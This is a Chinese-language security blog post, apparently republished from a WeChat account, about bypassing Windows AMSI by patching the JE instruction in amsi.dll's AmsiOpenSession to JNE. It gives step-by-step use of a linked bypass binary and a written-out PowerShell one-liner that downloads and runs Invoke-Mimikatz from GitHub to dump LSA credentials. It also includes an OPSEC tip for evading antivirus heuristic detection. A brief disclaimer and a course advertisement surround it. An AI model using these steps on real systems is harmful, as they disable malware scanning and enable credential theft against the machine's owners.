2023!最新绕过AMSI的一个方法!!
2023-8-21 08:31:21 Author: 潇湘信安(查看原文) 阅读量:8 收藏

声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

现在只对常读和星标的公众号才展示大图推送,建议大家把潇湘信安设为星标”,否则可能看不到了

什么是 AMSI?

Microsoft 的“ Windows 反恶意软件扫描接口 (AMSI) 是一种多功能接口标准,允许您的应用程序和服务与计算机上存在的任何反恶意软件产品集成。AMSI 为您的最终用户及其数据、应用程序和工作负载提供增强的恶意软件防护。”

简单来说,AMSI是微软实现的,用于扫描内存中程序的执行情况。它也在 PowerShell 中实现,这意味着我们在 PowerShell 中运行的任何命令和脚本都会首先传递到 AMSI 进行检测,然后传递到主防病毒引擎。

什么是amsi.dll?

amsi.dll 文件提供 Windows 中 AMSI 功能的实现。DLL 文件包含用于在 Windows 中初始化、配置和使用 AMSI 功能的函数。该文件还负责加载和卸载 AMSI 引擎。

AMSI AmsiOpenSession 绕过

AmsiOpenSession 是 amsi.dll 文件提供的函数,作为 Windows 中反恶意软件扫描接口 (AMSI) 的一部分。AmsiOpenSession 函数用于为调用应用程序创建新的 AMSI 会话。

AmsiOpenSession 函数可用于通过设置会话的上下文和行为来配置 AMSI 会话。例如,应用程序可以设置会话的上下文以指定正在扫描的数据的内容类型,例如脚本或二进制数据。

让我们首先反汇编 AmsiOpenSession 函数amsi.dll:

有一个测试指令,它基本上在它自己(rcx,rcx)之间执行按位与运算,如果结果为零,则设置零标志(ZF = 1)。

如果设置了零标志,它将遵循 JE(跳转等于)指令 0x180008244(这是一个错误分支),指示 0x80070057

现在,如果我们可以将 JE 指令修改为 JNE(跳转不等于),错误分支将永远不会出现!,从而允许我们运行任何命令而不会被标记!

@TheD1rkMtr 有一个名为 AMSI_patch 的项目,它做同样的事情。我还使用相同的想法创建了相同的项目,但实现略有不同(所有积分和荣誉都归于@TheD1rkMtr)。

您可以在这里找到代码:

  • https://github.com/TheD1rkMtr/AMSI_patch
  • https://github.com/surya-dev-singh/AmsiBypass-OpenSessio

绕过 AMSI 的步骤:

1. 从上面的项目下载amsibypass.exe文件,您也可以使用该文件构建您自己的.sln项目(注意:该二进制文件可能会在一段时间内被 AV 标记。)

2. 获得amsibypass.exe文件后,使用管理员权限打开 PowerShell 并禁用执行策略:

powershell -ep bypass -nop

3. 现在,您可以在当前的PowerShell会话或另一个PowerShell会话中运行它,但您将需要该会话的PID,像下图这样。

4. 现在,正如您所看到的,它显示 AMSI PATCHED!,我们可以尝试运行类似的恶意命令invoke-mimikatz。

我们直接从nishang的GitHub下载并运行invoke-mimikatz脚本

这里我们使用了PowerShell命令:
PS C:\Users\szero\Desktop> IEX(New-Object Net.Webclient).DownloadString("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1") ; Invoke-Mimikatz -Command '"lsadump::lsa /patch"' ; exit

这里我们直接从GitHub下载mimikatz,加载到内存中,执行它,然后结束PowerShell进程。exit我们最后使用了它,以便它可以与 OPSEC 配合使用。

如果我们不结束(退出)正在加载 mimikatz 的 PowerShell 进程,那么它将被标记,尽管它会显示 NTLM 转储。这是由于防病毒产品对内存和进程进行启发式扫描所致,这会将其标记为恶意。

现在,如果我们只是在命令末尾添加一个退出,这将在执行和转储 NTLM 哈希值后立即退出 PowerShell 会话,那么什么也检测不到!
现在,什么也没有被发现!

关注我们

 还在等什么?赶紧点击下方名片开始学习吧!


信 安 考 证

需要考以下各类安全证书的可以联系我,价格优惠、组团更便宜,还送【潇湘信安】知识星球1年!

CISP、PTE、PTS、DSG、IRE、IRS、NISP、PMP、CCSK、CISSP、ISO27001...


推 荐 阅 读



文章来源: http://mp.weixin.qq.com/s?__biz=Mzg4NTUwMzM1Ng==&mid=2247505954&idx=1&sn=3e7ded281633a708315dca8d354834b4&chksm=cfa57c31f8d2f5273f5c5cced346a81127a27720e7b2a0ae3e664ab90bfa548a91122e46704b&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh